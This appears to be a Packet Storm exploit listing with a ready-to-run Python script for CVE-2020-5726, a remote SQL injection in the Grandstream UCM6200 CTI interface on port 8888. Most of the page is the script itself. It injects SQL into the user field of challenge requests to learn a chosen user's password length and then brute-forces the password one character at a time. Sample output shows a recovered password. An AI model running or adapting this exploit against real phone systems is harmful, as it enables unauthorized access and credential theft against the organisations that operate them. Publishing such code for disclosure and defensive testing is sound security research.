what you don't know can hurt you

Grandstream UCM6200 Series CTI Interface SQL Injection

Grandstream UCM6200 Series CTI Interface SQL Injection
Posted Mar 31, 2020
Authored by Jacob Baines

Grandstream UCM6200 Series CTI Interface versions 1.0.20.20 and below suffer from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
advisories | CVE-2020-5726
MD5 | 25480670d4330e8172e282e366c594c9

Grandstream UCM6200 Series CTI Interface SQL Injection

Change Mirror Download
# Exploit Title: Grandstream UCM6200 Series CTI Interface - 'user_password' SQL Injection
# Date: 2020-03-30
# Exploit Author: Jacob Baines
# Vendor Homepage: http://www.grandstream.com/
# Software Link: http://www.grandstream.com/support/firmware/ucm62xx-official-firmware
# Version: 1.0.20.20 and below
# Tested on: Grandstream UCM6202 1.0.20.20
# CVE : CVE-2020-5726
# Grandstream UCM6200 Series CTI Interface SQL Injection Password Disclosure
# Advisory: https://www.tenable.com/security/research/tra-2020-17
# Sample output:
#
# albinolobster@ubuntu:~$ python3 cti_injection.py --rhost 192.168.2.1
--user lolwat
# [+] Reaching out to 192.168.2.1:8888
# [+] Password length 9
# [+] The password is LabPass1%

import sys
import time
import json
import struct
import socket
import argparse

def send_cti_with_length(sock, payload):
to_send = struct.pack('>I', len(payload))
to_send = to_send + payload
sock.sendall(to_send)

return recv_cti_with_length(sock)

def recv_cti_with_length(sock):
length = sock.recv(4)
length = struct.unpack('>I', length)[0]
response = sock.recv(length)
return response

top_parser = argparse.ArgumentParser(description='')
top_parser.add_argument('--rhost', action="store", dest="rhost",
required=True, help="The remote host to connect to")
top_parser.add_argument('--rport', action="store", dest="rport", type=int,
help="The remote port to connect to", default=8888)
top_parser.add_argument('--user', action="store", dest="user",
required=True, help="The user to brute force")
args = top_parser.parse_args()


print('[+] Reaching out to ' + args.rhost + ':' + str(args.rport))

length = 0
while length < 100:

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((args.rhost, args.rport))

challenge_resp = send_cti_with_length(sock, b"action=challenge&user=" +
args.user.encode('utf-8') + b"' AND LENGTH(user_password)=" +
str(length).encode('utf-8') + b"--")
inject_result = json.loads(challenge_resp)

if (inject_result['status'] == 0):
break
else:
length = length + 1

sock.close()

if length == 100:
print('[-] Failed to discover the password length')
sys.exit(1)

print('[+] Password length', length)

password = ''
while len(password) < length:
value = 0x20
while value < 0x80:

if value == 0x22 or value == 0x5c:
temp_pass = password + '\\'
temp_pass = temp_pass + chr(value)
else:
temp_pass = password + chr(value)

temp_pass_len = len(temp_pass)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((args.rhost, args.rport))

challenge_resp = send_cti_with_length(sock,
b"action=challenge&user=" + args.user.encode('utf-8') + b"' AND
user_password LIKE \'" + temp_pass.encode('utf-8') + b"%' AND
substr(user_password,1," + str(temp_pass_len).encode('utf-8') + b") = '" +
temp_pass.encode('utf-8') + b"'--")
inject_result = json.loads(challenge_resp)

sock.close()

if (inject_result['status'] == 0):
password = temp_pass
break
else:
value = value + 1
continue

if value == 0x80:
print('oh no.')
sys.exit(0)

print('[+] The password is', password)
Login or Register to add favorites

File Archive:

May 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    14 Files
  • 2
    May 2nd
    3 Files
  • 3
    May 3rd
    1 Files
  • 4
    May 4th
    18 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    21 Files
  • 7
    May 7th
    15 Files
  • 8
    May 8th
    19 Files
  • 9
    May 9th
    1 Files
  • 10
    May 10th
    2 Files
  • 11
    May 11th
    18 Files
  • 12
    May 12th
    39 Files
  • 13
    May 13th
    15 Files
  • 14
    May 14th
    17 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    2 Files
  • 17
    May 17th
    2 Files
  • 18
    May 18th
    15 Files
  • 19
    May 19th
    21 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    15 Files
  • 22
    May 22nd
    6 Files
  • 23
    May 23rd
    1 Files
  • 24
    May 24th
    1 Files
  • 25
    May 25th
    2 Files
  • 26
    May 26th
    23 Files
  • 27
    May 27th
    13 Files
  • 28
    May 28th
    18 Files
  • 29
    May 29th
    17 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close